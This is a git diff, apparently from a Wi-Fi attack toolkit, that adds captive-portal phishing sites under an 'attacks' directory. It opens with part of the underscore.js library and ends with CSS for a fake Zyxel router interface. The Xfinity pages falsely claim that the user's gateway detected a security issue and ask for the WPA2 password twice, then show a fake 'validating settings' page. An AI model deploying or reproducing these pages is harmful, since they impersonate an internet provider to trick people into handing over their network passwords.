hasher.apply(this, arguments); + return key in memo ? memo[key] : (memo[key] = func.apply(this, arguments)); + }; + }; + + // Delays a function for the given number of milliseconds, and then calls + // it with the arguments supplied. + _.delay = function(func, wait) { + var args = slice.call(arguments, 2); + return setTimeout(function(){ return func.apply(func, args); }, wait); + }; + + // Defers a function, scheduling it to run after the current call stack has + // cleared. + _.defer = function(func) { + return _.delay.apply(_, [func, 1].concat(slice.call(arguments, 1))); + }; + + // Returns the first function passed as an argument to the second, + // allowing you to adjust arguments, run code before and after, and + // conditionally execute the original function. + _.wrap = function(func, wrapper) { + return function() { + var args = [func].concat(slice.call(arguments)); + return wrapper.apply(wrapper, args); + }; + }; + + // Returns a function that is the composition of a list of functions, each + // consuming the return value of the function that follows. + _.compose = function() { + var funcs = slice.call(arguments); + return function() { + var args = slice.call(arguments); + for (var i=funcs.length-1; i >= 0; i--) { + args = [funcs[i].apply(this, args)]; + } + return args[0]; + }; + }; + + // Object Functions + // ---------------- + + // Retrieve the names of an object's properties. + // Delegates to **ECMAScript 5**'s native `Object.keys` + _.keys = nativeKeys || function(obj) { + if (_.isArray(obj)) return _.range(0, obj.length); + var keys = []; + for (var key in obj) if (hasOwnProperty.call(obj, key)) keys[keys.length] = key; + return keys; + }; + + // Retrieve the values of an object's properties. + _.values = function(obj) { + return _.map(obj, _.identity); + }; + + // Return a sorted list of the function names available on the object. + // Aliased as `methods` + _.functions = _.methods = function(obj) { + return _.filter(_.keys(obj), function(key){ return _.isFunction(obj[key]); }).sort(); + }; + + // Extend a given object with all the properties in passed-in object(s). + _.extend = function(obj) { + each(slice.call(arguments, 1), function(source) { + for (var prop in source) obj[prop] = source[prop]; + }); + return obj; + }; + + // Create a (shallow-cloned) duplicate of an object. + _.clone = function(obj) { + return _.isArray(obj) ? obj.slice() : _.extend({}, obj); + }; + + // Invokes interceptor with the obj, and then returns obj. + // The primary purpose of this method is to "tap into" a method chain, in + // order to perform operations on intermediate results within the chain. + _.tap = function(obj, interceptor) { + interceptor(obj); + return obj; + }; + + // Perform a deep comparison to check if two objects are equal. + _.isEqual = function(a, b) { + // Check object identity. + if (a === b) return true; + // Different types? + var atype = typeof(a), btype = typeof(b); + if (atype != btype) return false; + // Basic equality test (watch out for coercions). + if (a == b) return true; + // One is falsy and the other truthy. + if ((!a && b) || (a && !b)) return false; + // One of them implements an isEqual()? + if (a.isEqual) return a.isEqual(b); + // Check dates' integer values. + if (_.isDate(a) && _.isDate(b)) return a.getTime() === b.getTime(); + // Both are NaN? + if (_.isNaN(a) && _.isNaN(b)) return false; + // Compare regular expressions. + if (_.isRegExp(a) && _.isRegExp(b)) + return a.source === b.source && + a.global === b.global && + a.ignoreCase === b.ignoreCase && + a.multiline === b.multiline; + // If a is not an object by this point, we can't handle it. + if (atype !== 'object') return false; + // Check for different array lengths before comparing contents. + if (a.length && (a.length !== b.length)) return false; + // Nothing else worked, deep compare the contents. + var aKeys = _.keys(a), bKeys = _.keys(b); + // Different object sizes? + if (aKeys.length != bKeys.length) return false; + // Recursive comparison of contents. + for (var key in a) if (!(key in b) || !_.isEqual(a[key], b[key])) return false; + return true; + }; + + // Is a given array or object empty? + _.isEmpty = function(obj) { + if (_.isArray(obj) || _.isString(obj)) return obj.length === 0; + for (var key in obj) if (hasOwnProperty.call(obj, key)) return false; + return true; + }; + + // Is a given value a DOM element? + _.isElement = function(obj) { + return !!(obj && obj.nodeType == 1); + }; + + // Is a given value an array? + // Delegates to ECMA5's native Array.isArray + _.isArray = nativeIsArray || function(obj) { + return !!(obj && obj.concat && obj.unshift && !obj.callee); + }; + + // Is a given variable an arguments object? + _.isArguments = function(obj) { + return !!(obj && obj.callee); + }; + + // Is a given value a function? + _.isFunction = function(obj) { + return !!(obj && obj.constructor && obj.call && obj.apply); + }; + + // Is a given value a string? + _.isString = function(obj) { + return !!(obj === '' || (obj && obj.charCodeAt && obj.substr)); + }; + + // Is a given value a number? + _.isNumber = function(obj) { + return (obj === +obj) || (toString.call(obj) === '[object Number]'); + }; + + // Is a given value a boolean? + _.isBoolean = function(obj) { + return obj === true || obj === false; + }; + + // Is a given value a date? + _.isDate = function(obj) { + return !!(obj && obj.getTimezoneOffset && obj.setUTCFullYear); + }; + + // Is the given value a regular expression? + _.isRegExp = function(obj) { + return !!(obj && obj.test && obj.exec && (obj.ignoreCase || obj.ignoreCase === false)); + }; + + // Is the given value NaN -- this one is interesting. NaN != NaN, and + // isNaN(undefined) == true, so we make sure it's a number first. + _.isNaN = function(obj) { + return _.isNumber(obj) && isNaN(obj); + }; + + // Is a given value equal to null? + _.isNull = function(obj) { + return obj === null; + }; + + // Is a given variable undefined? + _.isUndefined = function(obj) { + return typeof obj == 'undefined'; + }; + + // Utility Functions + // ----------------- + + // Run Underscore.js in *noConflict* mode, returning the `_` variable to its + // previous owner. Returns a reference to the Underscore object. + _.noConflict = function() { + root._ = previousUnderscore; + return this; + }; + + // Keep the identity function around for default iterators. + _.identity = function(value) { + return value; + }; + + // Run a function **n** times. + _.times = function (n, iterator, context) { + for (var i = 0; i < n; i++) iterator.call(context, i); + }; + + // Break out of the middle of an iteration. + _.breakLoop = function() { + throw breaker; + }; + + // Add your own custom functions to the Underscore object, ensuring that + // they're correctly added to the OOP wrapper as well. + _.mixin = function(obj) { + each(_.functions(obj), function(name){ + addToWrapper(name, _[name] = obj[name]); + }); + }; + + // Generate a unique integer id (unique within the entire client session). + // Useful for temporary DOM ids. + var idCounter = 0; + _.uniqueId = function(prefix) { + var id = idCounter++; + return prefix ? prefix + id : id; + }; + + // By default, Underscore uses ERB-style template delimiters, change the + // following template settings to use alternative delimiters. + _.templateSettings = { + evaluate : /<%([\s\S]+?)%>/g, + interpolate : /<%=([\s\S]+?)%>/g + }; + + // JavaScript micro-templating, similar to John Resig's implementation. + // Underscore templating handles arbitrary delimiters, preserves whitespace, + // and correctly escapes quotes within interpolated code. + _.template = function(str, data) { + var c = _.templateSettings; + var tmpl = 'var __p=[],print=function(){__p.push.apply(__p,arguments);};' + + 'with(obj||{}){__p.push(\'' + + str.replace(/'/g, "\\'") + .replace(c.interpolate, function(match, code) { + return "'," + code.replace(/\\'/g, "'") + ",'"; + }) + .replace(c.evaluate || null, function(match, code) { + return "');" + code.replace(/\\'/g, "'") + .replace(/[\r\n\t]/g, ' ') + "__p.push('"; + }) + .replace(/\r/g, '\\r') + .replace(/\n/g, '\\n') + .replace(/\t/g, '\\t') + + "');}return __p.join('');"; + var func = new Function('obj', tmpl); + return data ? func(data) : func; + }; + + // The OOP Wrapper + // --------------- + + // If Underscore is called as a function, it returns a wrapped object that + // can be used OO-style. This wrapper holds altered versions of all the + // underscore functions. Wrapped objects may be chained. + var wrapper = function(obj) { this._wrapped = obj; }; + + // Expose `wrapper.prototype` as `_.prototype` + _.prototype = wrapper.prototype; + + // Helper function to continue chaining intermediate results. + var result = function(obj, chain) { + return chain ? _(obj).chain() : obj; + }; + + // A method to easily add functions to the OOP wrapper. + var addToWrapper = function(name, func) { + wrapper.prototype[name] = function() { + var args = slice.call(arguments); + unshift.call(args, this._wrapped); + return result(func.apply(_, args), this._chain); + }; + }; + + // Add all of the Underscore functions to the wrapper object. + _.mixin(_); + + // Add all mutator Array functions to the wrapper. + each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) { + var method = ArrayProto[name]; + wrapper.prototype[name] = function() { + method.apply(this._wrapped, arguments); + return result(this._wrapped, this._chain); + }; + }); + + // Add all accessor Array functions to the wrapper. + each(['concat', 'join', 'slice'], function(name) { + var method = ArrayProto[name]; + wrapper.prototype[name] = function() { + return result(method.apply(this._wrapped, arguments), this._chain); + }; + }); + + // Start chaining a wrapped Underscore object. + wrapper.prototype.chain = function() { + this._chain = true; + return this; + }; + + // Extracts the result from a wrapped and chained object. + wrapper.prototype.value = function() { + return this._wrapped; + }; + +})(); diff --git a/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/w b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/w new file mode 100755 index 0000000..8b13789 --- /dev/null +++ b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/Xfinity_files/w @@ -0,0 +1 @@ + diff --git a/attacks/Captive Portal/sites/Xfinity-Login_en.portal/error.html b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/error.html new file mode 100755 index 0000000..deca480 --- /dev/null +++ b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/error.html @@ -0,0 +1,250 @@ + + + + + + Xfinity Security Check + + + + + + + + + + + + + + + +
+ + +
+ + +
+
+

Security Check

+
+
+

Your XFINITY™ Wireless Gateway detected a + security issue. Please enter your wireless security + settings to proceed.

+
+
+ + + + + + +
+

The password you've entered is incorrect, please try again.

+
+
+    WPA2 Password:
+ Confirm Password:
+ +
+
+
+
+
+
+ + diff --git a/attacks/Captive Portal/sites/Xfinity-Login_en.portal/final.html b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/final.html new file mode 100755 index 0000000..cc5ce9b --- /dev/null +++ b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/final.html @@ -0,0 +1,156 @@ + +Vaidate Settings

Validating Settings

Validating your settings... Please wait about 1 minute.

\ No newline at end of file diff --git a/attacks/Captive Portal/sites/Xfinity-Login_en.portal/index.html b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/index.html new file mode 100755 index 0000000..be57c25 --- /dev/null +++ b/attacks/Captive Portal/sites/Xfinity-Login_en.portal/index.html @@ -0,0 +1,249 @@ + + + + + + Xfinity Security Check + + + + + + + + + + + + + + + +
+ + +
+ + +
+
+

Security Check

+
+
+

Your XFINITY™ Wireless Gateway detected a + security issue. Please enter your wireless security + settings to proceed.

+
+
+ + + + + + +
+
+
+    WPA2 Password:
+ Confirm Password:
+ +
+
+
+
+
+
+ + diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/css/dtree.css b/attacks/Captive Portal/sites/Zyxel_it.portal/css/dtree.css new file mode 100644 index 0000000..583751a --- /dev/null +++ b/attacks/Captive Portal/sites/Zyxel_it.portal/css/dtree.css @@ -0,0 +1 @@ +.dtree{font-family:Arial,Helvetica,sans-serif;font-size:12px;color:#dbeaff;font-size:11px;white-space:nowrap}.dtree img{border:0;vertical-align:middle}.dtree a{color:#dbeaff;text-decoration:none}.dtree a:hover{color:#dbeaff;text-decoration:underline}.dtree a.node,.dtree a.nodeSel{white-space:nowrap;padding:1px 2px 1px 2px}.dtree a.node:hover{color:#333;text-decoration:none}.dtree a.nodeSel:hover{color:#4570a8;text-decoration:none}.dtree a.nodeSel{color:#4570a8;background-color:#c0d2ec}.dtree .clip{overflow:hidden}a.fastbutton{padding-left:70px} \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/css/inside.css b/attacks/Captive Portal/sites/Zyxel_it.portal/css/inside.css new file mode 100644 index 0000000..32fe1c2 --- /dev/null +++ b/attacks/Captive Portal/sites/Zyxel_it.portal/css/inside.css @@ -0,0 +1 @@ +@import url("reset.css");body{height:100%}*html{overflow-x:hidden}INPUT{FONT-WEIGHT:normal;FONT-SIZE:11px;FONT-FAMILY:Arial,Helvetica,sans-serif}SELECT{FONT-WEIGHT:normal;FONT-SIZE:11px;FONT-FAMILY:Arial,Helvetica,sans-serif}#wrapper{position:absolute;width:100%;margin:0 auto;z-index:1}#wrapper #top{display:block;width:100%;height:130px;background-image:url(../images/title_bg.jpg);background-repeat:no-repeat}.top_position{position:relative;width:100%;height:61px}.top_position .logo{position:absolute;background-image:url(../images/advance_logo.jpg);width:102px;height:29px;left:18px;top:18px}.top_position .modelname{position:absolute;width:30%;height:25px;font-family:Arial,Helvetica,sans-serif;font-size:18px;color:#9ce2ff;font-weight:bold;left:126px;top:20px}.top_position .quick_link{position:absolute;width:50%;height:25px;right:5px;top:4px}.top_position .quick_link ul li{float:right}.top_position .quick_link li{display:block;margin:0 2px;font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#d7effe}.top_position .quick_link ul li a{font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#78c7fe}.top_position .quick_link ul li a:hover{color:#b5e1ff;text-decoration:none}.top_position .quick_link li.line{display:block;width:1px;height:7px;background-color:#cecece;margin-top:3px}.top_position .quick_link ul li.about{display:block;margin-left:8px;width:35px;height:13px;background-image:url(../images/i_about.gif);background-repeat:no-repeat}.top_position .quick_link ul li.about a{font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#d7effe;padding-left:8px}.top_position .quick_link ul li.about a:hover{color:#b5e1ff}.top_position .quick_link ul li.help{display:block;margin-left:8px;width:35px;height:17px;background-image:url(../images/i_help.gif);background-repeat:no-repeat;margin-right:8px}.top_position .quick_link ul li.help a{font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#d7effe;padding-left:17px}.top_position .quick_link ul li.help a:hover{color:#b5e1ff}.top_position .quick_link ul li.easy{display:block;margin-left:8px;width:75px;height:17px;background-image:url(../images/i_easy.gif);background-repeat:no-repeat;margin-right:8px}.top_position .quick_link ul li.easy a{font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#d7effe;padding-left:17px}.top_position .quick_link ul li.easy a:hover{color:#b5e1ff}#contentframe{position:absolute;width:100%;margin:0 auto;top:62px;left:0;z-index:20}.contentframe{display:block;width:100%;margin:0 auto;height:100%}.contentframe ul li{display:block;float:left}.submenu{position:absolute;width:35px;height:152px;z-index:15}.submenu ul li{display:block;width:35px}.submenu ul li.i_dashboard a{display:block;background-image:url(../images/b_dashboard.gif);height:38px}.submenu ul li.i_dashboard{display:block;background-image:url(../images/b_dashboard_on.gif);height:38px}.submenu ul li.i_dashboard a:hover{background-image:url(../images/b_dashboard_on.gif)}.submenu ul li.i_monitor a{display:block;background-image:url(../images/b_monitor.gif);height:38px}.submenu ul li.i_monitor{display:block;background-image:url(../images/b_monitor_on.gif);height:38px}.submenu ul li.i_monitor a:hover{background-image:url(../images/b_monitor_on.gif)}.submenu ul li.i_config a{display:block;background-image:url(../images/b_config.gif);height:38px}.submenu ul li.i_config{display:block;background-image:url(../images/b_config_on.gif);height:38px}.submenu ul li.i_config a:hover{background-image:url(../images/b_config_on.gif)}.submenu ul li.i_maintenance a{display:block;background-image:url(../images/b_maintenance.gif);height:38px}.submenu ul li.i_maintenance{display:block;background-image:url(../images/b_maintenance_on.gif);height:38px}.submenu ul li.i_maintenance a:hover{background-image:url(../images/b_maintenance_on.gif)}.menu{position:absolute;width:166px;margin-left:34px;height:100%;z-index:6}ul li.menutitle{display:block;font-family:Georgia,"Times New Roman",Times,serif;font-size:12px;color:#feffff;font-weight:bold;text-indent:4px}.menu ul li.menuline{margin-top:1px;display:block;width:166px;background-color:#39639e;border-top-width:1px;border-right-width:1px;border-bottom-width:0;border-left-width:1px;border-top-style:solid;border-right-style:solid;border-left-style:solid;border-top-color:#779bc8;border-right-color:#779bc8;border-left-color:#779bc8}.menu ul li.floor{display:block;width:168px;height:2px}.contenleft{position:relative;height:500px;width:100%;left:0;z-index:3;top:2px;right:0}.contenleft .path{position:absolute;height:21px;background-color:#7296c1;width:100%;border:1px solid #97b4d2;line-height:21px;top:-1px;padding-left:205px}.contenleft .path ul li{display:block;float:left;height:21px}.contenleft .path ul li.i_path{display:block;background-image:url(../images/i_path.gif);width:80%;height:21px;background-repeat:no-repeat;background-position:left 5px}.contenleft .path ul li a.w_path{display:block;font-family:Arial,Helvetica,sans-serif;color:#ededed;text-indent:12px;display:block;line-height:21px;height:21px;font-size:11px;text-decoration:none}.contenleft .contentmain{position:absolute;width:100%;z-index:5;height:500px;top:22px;left:2px}.contenleft #tabs{position:absolute;width:78%;top:11px;z-index:21;left:211px}.contenleft #tabs li{display:inline;margin:0;padding:0}#tabs a{float:left;background:url(../images/"tab_left.gif") no-repeat left top;margin:0;padding:0 0 0 3px;line-height:19px;text-decoration:none;font-family:Arial,Helvetica,sans-serif;font-size:11px}#tabs a span{float:left;display:block;background:url(../images/"tab_right.gif") no-repeat right top;padding:1px 9px 3px 6px;color:#15428b;font-weight:bold}#tabs a span{float:none}#tabs a:hover span{color:#000}#tabs a:hover{background-position:0 -23px}#tabs a:hover span{background-position:100% -23px}#tabs li.hightline a{float:left;background:url(../images/"tab_left.gif") no-repeat left top;margin:0;padding:0 0 0 3px;line-height:20px;text-decoration:none;font-family:Arial,Helvetica,sans-serif;font-size:11px;background-position:0 -23px}#tabs li.hightline a span{float:left;display:block;background:url(../images/"hightline.gif") no-repeat;background-position:right top;padding:1px 9px 3px 6px;color:#15428b;font-weight:bold}.contenleft #table{position:relative;width:78%;top:33px;z-index:20;left:210px}.contenleft #table ul li.table_top{position:absolute;width:100%;background-color:#deecfd;height:4px;font-size:1px;background-repeat:repeat-x;margin-right:3px;z-index:6;border-top:1px solid #8db2e3;border-right:2px solid #8db2e3;border-bottom:1px solid #8db2e3;border-left:2px solid #8db2e3}.table_content{display:block;width:100%;border-right-width:0;border-left-width:0;border-right-style:solid;border-left-style:solid;border-right-color:#8db2e3;border-left-color:#8db2e3;border-top-width:0;border-bottom-width:0;background-color:#fff;z-index:5}.table_button{display:block;width:100%;border-right-width:0;border-left-width:0;border-right-style:solid;border-left-style:solid;border-right-color:#8db2e3;border-left-color:#8db2e3;border-top-width:0;border-bottom-width:0;background-image:url(../images/table_bottom.gif);height:33px;line-height:33px}.data ul li{width:95%;display:block;margin:0 auto;height:20px}.data ul li.title{font-family:Arial,Helvetica,sans-serif;color:#385f95;font-size:11px;font-weight:bold;height:25px;line-height:25px}.data ul li.w_text{font-family:Arial,Helvetica,sans-serif;color:#000;font-size:11px;height:25px;line-height:25px}.data ul li.w_text2{font-family:Arial,Helvetica,sans-serif;color:#000;font-size:11px;height:100%}.i_note{display:block;background-image:url(../images/i_note.gif);height:25px;background-repeat:no-repeat;line-height:25px;background-position:left 5px;font-family:Arial,Helvetica,sans-serif;font-size:11px;font-weight:bold;color:#000;text-indent:18px}.i_note_a{display:block;height:25px;line-height:25px;font-family:Arial,Helvetica,sans-serif;font-size:11px;font-weight:bold;color:#000;text-indent:25px}a.note{font-weight:lighter}a.note:hover{text-decoration:none}a.sort{font-weight:bold;color:#000}a.sort:hover{text-decoration:none;color:#036}.blod{font-weight:bold}.r1{height:1px;font-size:1px;overflow:hidden;display:block;background:#779bc8;margin:0 5px}.r2{height:1px;font-size:1px;overflow:hidden;display:block;border-right:2px solid #779bc8;border-left:2px solid #779bc8;margin:0 3px;background-color:#39639e}.r3{height:1px;font-size:1px;overflow:hidden;display:block;border-right:1px solid #779bc8;border-left:1px solid #779bc8;margin:0 2px;background-color:#39639e}.r4{height:2px;font-size:1px;overflow:hidden;display:block;border-right:1px solid #779bc8;border-left:1px solid #779bc8;margin:0 1px;background-color:#39639e}.clearfloat{clear:both;height:0;font-size:1px;line-height:0} \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/css/inside_main_frame.css b/attacks/Captive Portal/sites/Zyxel_it.portal/css/inside_main_frame.css new file mode 100644 index 0000000..48e0be4 --- /dev/null +++ b/attacks/Captive Portal/sites/Zyxel_it.portal/css/inside_main_frame.css @@ -0,0 +1 @@ +@import url(reset.css);body{background-image:url(../images/advance_bg.gif);height:100%}html{overflow-x:hidden}INPUT{FONT-WEIGHT:normal;FONT-SIZE:11px;FONT-FAMILY:Arial,Helvetica,sans-serif}SELECT{FONT-WEIGHT:normal;FONT-SIZE:11px;FONT-FAMILY:Arial,Helvetica,sans-serif}#wrapper{position:absolute;width:100%;margin:0 auto;z-index:1}#wrapper #top{display:block;width:100%;height:130px;background-image:url(../images/title_bg.jpg);background-repeat:no-repeat}.top_position{position:relative;width:100%;height:61px}.top_position .logo{position:absolute;background-image:url(../images/advance_logo.jpg);width:102px;height:29px;left:18px;top:18px}.top_position .modelname{position:absolute;width:30%;height:25px;font-family:Arial,Helvetica,sans-serif;font-size:18px;color:#9ce2ff;font-weight:bold;left:126px;top:20px}.top_position .quick_link{position:absolute;width:50%;height:25px;right:5px;top:4px}.top_position .quick_link ul li{float:right}.top_position .quick_link li{display:block;margin:0 2px;font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#d7effe}.top_position .quick_link ul li a{font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#78c7fe}.top_position .quick_link ul li a:hover{color:#b5e1ff;text-decoration:none}.top_position .quick_link li.line{display:block;width:1px;height:7px;background-color:#cecece;margin-top:3px}.top_position .quick_link ul li.about{display:block;margin-left:8px;width:35px;height:13px;background-image:url(../images/i_about.gif);background-repeat:no-repeat}.top_position .quick_link ul li.about a{font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#d7effe;padding-left:8px}.top_position .quick_link ul li.about a:hover{color:#b5e1ff}.top_position .quick_link ul li.help{display:block;margin-left:8px;width:35px;height:17px;background-image:url(../images/i_help.gif);background-repeat:no-repeat;margin-right:8px}.top_position .quick_link ul li.help a{font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#d7effe;padding-left:17px}.top_position .quick_link ul li.help a:hover{color:#b5e1ff}.top_position .quick_link ul li.easy{display:block;margin-left:8px;width:75px;height:17px;background-image:url(../images/i_easy.gif);background-repeat:no-repeat;margin-right:8px}.top_position .quick_link ul li.easy a{font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#d7effe;padding-left:17px}.top_position .quick_link ul li.easy a:hover{color:#b5e1ff}.top_position .quick_link ul li.home{display:block;margin-left:8px;width:50px;height:17px;background-image:url(../images/i_home.gif);background-repeat:no-repeat}.top_position .quick_link ul li.home a{font-family:Arial,Helvetica,sans-serif;font-size:10px;color:#d7effe;padding-left:17px}.top_position .quick_link ul li.home a:hover{color:#b5e1ff}#contentframe{position:absolute;width:100%;margin:0 auto;top:62px;left:0;z-index:20}.contentframe{display:block;width:100%;margin:0 auto;height:100%}.contentframe ul li{display:block;float:left}.submenu{position:absolute;width:35px;height:152px;z-index:15}.submenu ul li{display:block;width:35px}.submenu ul li.i_dashboard a{display:block;background-image:url(../images/b_dashboard.gif);height:38px}.submenu ul li.i_dashboard{display:block;background-image:url(../images/b_dashboard_on.gif);height:38px}.submenu ul li.i_dashboard a:hover{background-image:url(../images/b_dashboard_on.gif)}.submenu ul li.i_monitor a{display:block;background-image:url(../images/b_monitor.gif);height:38px}.submenu ul li.i_monitor{display:block;background-image:url(../images/b_monitor_on.gif);height:38px}.submenu ul li.i_monitor a:hover{background-image:url(../images/b_monitor_on.gif)}.submenu ul li.i_config a{display:block;background-image:url(../images/b_config.gif);height:38px}.submenu ul li.i_config{display:block;background-image:url(../images/b_config_on.gif);height:38px}.submenu ul li.i_config a:hover{background-image:url(../images/b_config_on.gif)}.submenu ul li.i_maintenance a{display:block;background-image:url(../images/b_maintenance.gif);height:38px}.submenu ul li.i_maintenance{display:block;background-image:url(../images/b_maintenance_on.gif);height:38px}.submenu ul li.i_maintenance a:hover{background-image:url(../images/b_maintenance_on.gif)}.menu{position:absolute;width:166px;margin-left:34px;height:100%;z-index:6}ul li.menutitle{display:block;font-family:Georgia,"Times New Roman",Times,serif;font-size:12px;color:#feffff;font-weight:bold;text-indent:4px}.menu ul li.menuline{margin-top:1px;display:block;width:166px;background-color:#39639e;border-top-width:1px;border-right-width:1px;border-bottom-width:0;border-left-width:1px;border-top-style:solid;border-right-style:solid;border-left-style:solid;border-top-color:#779bc8;border-right-color:#779bc8;border-left-color:#779bc8}.menu ul li.floor{display:block;width:168px;height:2px}.contenleft{position:relative;height:0;width:100%;left:0;z-index:3;top:2px;right:0}.contenleft .path{position:absolute;height:21px;background-color:#7296c1;width:100%;border:1px solid #97b4d2;line-height:21px;top:-1px;padding-left:205px}.contenleft .path ul li{display:block;float:left;height:21px}.contenleft .path ul li.i_path{display:block;background-image:url(../images/i_path.gif);width:80%;height:21px;background-repeat:no-repeat;background-position:left 5px}.contenleft .path ul li a.w_path{display:block;font-family:Arial,Helvetica,sans-serif;color:#ededed;text-indent:12px;display:block;line-height:21px;height:21px;font-size:11px;text-decoration:none}.contenleft .barcontent{position:absolute;height:28px;left:202px;background-image:url(../images/message_bar.gif);width:100%;line-height:21px;top:40px;padding-left:9px}.contenleft .barcontent ul li{display:block;float:left;padding-top:2px;padding-left:2px}.contenleft .barcontent ul li.i_message{display:block;margin-left:0;width:12px;height:26px;line-height:25px;background-image:url(../images/i_message.gif);background-repeat:no-repeat;background-position:left 8px}.contenleft .barcontent ul li a.message_title{margin-left:0;font-family:Arial,Helvetica,sans-serif;font-size:14px;font-weight:bold}.contenleft .barcontent ul li.message_word{margin-left:80px;font-family:Arial,Helvetica,sans-serif;font-size:14px;width:0;background-image:url(../images/message_bar2.gif);background-position:left -1px;padding-top:5px;padding-left:2px}.contenleft .contentmain{position:absolute;width:100%;z-index:5;height:0;top:22px;left:2px}.contenleft #tabs{position:absolute;width:78%;top:11px;z-index:21;left:211px}.contenleft #tabs li{display:inline;margin:0;padding:0}#tabs a{float:left;background:url(../images/"tab_left.gif") no-repeat left top;margin:0;padding:0 0 0 3px;line-height:19px;text-decoration:none;font-family:Arial,Helvetica,sans-serif;font-size:11px}#tabs a span{float:left;display:block;background:url(../images/"tab_right.gif") no-repeat right top;padding:1px 9px 3px 6px;color:#15428b;font-weight:bold}#tabs a span{float:none}#tabs a:hover span{color:#000}#tabs a:hover{background-position:0 -23px}#tabs a:hover span{background-position:100% -23px}#tabs li.hightline a{float:left;background:url(../images/"tab_left.gif") no-repeat left top;margin:0;padding:0 0 0 3px;line-height:20px;text-decoration:none;font-family:Arial,Helvetica,sans-serif;font-size:11px;background-position:0 -23px}#tabs li.hightline a span{float:left;display:block;background:url(../images/"hightline.gif") no-repeat;background-position:right top;padding:1px 9px 3px 6px;color:#15428b;font-weight:bold}.contenleft #table{position:relative;width:78%;top:33px;z-index:20;left:210px}.contenleft #table ul li.table_top{position:absolute;width:100%;background-color:#deecfd;height:4px;font-size:1px;background-repeat:repeat-x;margin-right:3px;z-index:6;border-top:1px solid #8db2e3;border-right:2px solid #8db2e3;border-bottom:1px solid #8db2e3;border-left:2px solid #8db2e3}.table_content{display:block;width:100%;border-right-width:2px;border-left-width:2px;border-right-style:solid;border-left-style:solid;border-right-color:#8db2e3;border-left-color:#8db2e3;border-top-width:0;border-bottom-width:0;background-color:#fff;z-index:5}.table_button{display:block;width:100%;border-right-width:2px;border-left-width:2px;border-right-style:solid;border-left-style:solid;border-right-color:#8db2e3;border-left-color:#8db2e3;border-top-width:0;border-bottom-width:0;background-image:url(../images/table_bottom.gif);height:33px;line-height:33px}.data ul li{width:95%;display:block;margin:0 auto;height:20px}.data ul li.title{font-family:Arial,Helvetica,sans-serif;color:#385f95;font-size:11px;font-weight:bold;height:25px;line-height:25px}.data ul li.w_text{font-family:Arial,Helvetica,sans-serif;color:#000;font-size:11px;height:25px;line-height:25px}.data ul li.w_text2{font-family:Arial,Helvetica,sans-serif;color:#000;font-size:11px;height:100%}.i_note{display:block;background-image:url(../images/i_note.gif);height:25px;background-repeat:no-repeat;line-height:25px;background-position:left 5px;font-family:Arial,Helvetica,sans-serif;font-size:11px;font-weight:bold;color:#000;text-indent:18px}.i_note_a{display:block;height:25px;line-height:25px;font-family:Arial,Helvetica,sans-serif;font-size:11px;font-weight:bold;color:#000;text-indent:25px}a.note{font-weight:lighter}a.note:hover{text-decoration:none}a.sort{font-weight:bold;color:#000}a.sort:hover{text-decoration:none;color:#036}.blod{font-weight:bold}.r1{height:1px;font-size:1px;overflow:hidden;display:block;background:#779bc8;margin:0 5px}.r2{height:1px;font-size:1px;overflow:hidden;display:block;border-right:2px solid #779bc8;border-left:2px solid #779bc8;margin:0 3px;background-color:#39639e}.r3{height:1px;font-size:1px;overflow:hidden;display:block;border-right:1px solid #779bc8;border-left:1px solid #779bc8;margin:0 2px;background-color:#39639e}.r4{height:2px;font-size:1px;overflow:hidden;display:block;border-right:1px solid #779bc8;border-left:1px solid #779bc8;margin:0 1px;background-color:#39639e}.clearfloat{clear:both;height:0;font-size:1px;line-height:0} \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/css/reset.css b/attacks/Captive Portal/sites/Zyxel_it.portal/css/reset.css new file mode 100644 index 0000000..c2b7e6c --- /dev/null +++ b/attacks/Captive Portal/sites/Zyxel_it.portal/css/reset.css @@ -0,0 +1,31 @@ +body, div, dl, dt, dd, ul, ol, li, h1, h2, h3, h4, h5, h6, pre, form, fieldset, input, textarea, p, blockquote, th, td { + margin:0; + padding:0; +} +table { + border-collapse:collapse; + border-spacing:0; +} +fieldset, img { + border:0; +} +address, caption, cite, code, dfn, em, strong, th, var { + font-style:normal; + font-weight:normal; +} +ol, ul { + list-style:none; +} +caption, th { + text-align:left; +} +/*h1, h2, h3, h4, h5, h6 { + font-size:100%; + font-weight:normal; +}*/ +q:before, q:after { + content:''; +} +abbr, acronym { + border:0; +} diff --git a/attacks/Captive Portal/sites/Zyxel_it.portal/css/table.css b/attacks/Captive Portal/sites/Zyxel_it.portal/css/table.css new file mode 100644 index 0000000..7d1679c --- /dev/null +++ b/attacks/Captive Portal/sites/Zyxel_it.portal/css/table.css @@ -0,0 +1 @@ +.pannel2{width:96%;margin:0 auto;height:100%;position:relative}.pannel2 .leftpannel{display:block;width:49%;float:left}.pannel2 .rightpannel{display:block;width:49%;float:right}.panneltop{display:block;width:100%;height:26px;background-image:url(../images/table_top_center.gif)}.panneltop ul li{display:block;float:left;font-family:Arial,Helvetica,sans-serif;font-size:12px;color:#39418b;font-weight:bold;line-height:26px}.panneltop ul li.leftpanneltop{height:26px;background-image:url(../images/table_top_left.gif);width:5px;float:left}.panneltop li.rightpanneltop{height:26px;background-image:url(../images/table_top_right.gif);width:5px;float:right}.top_left{display:block;border-bottom:1px solid 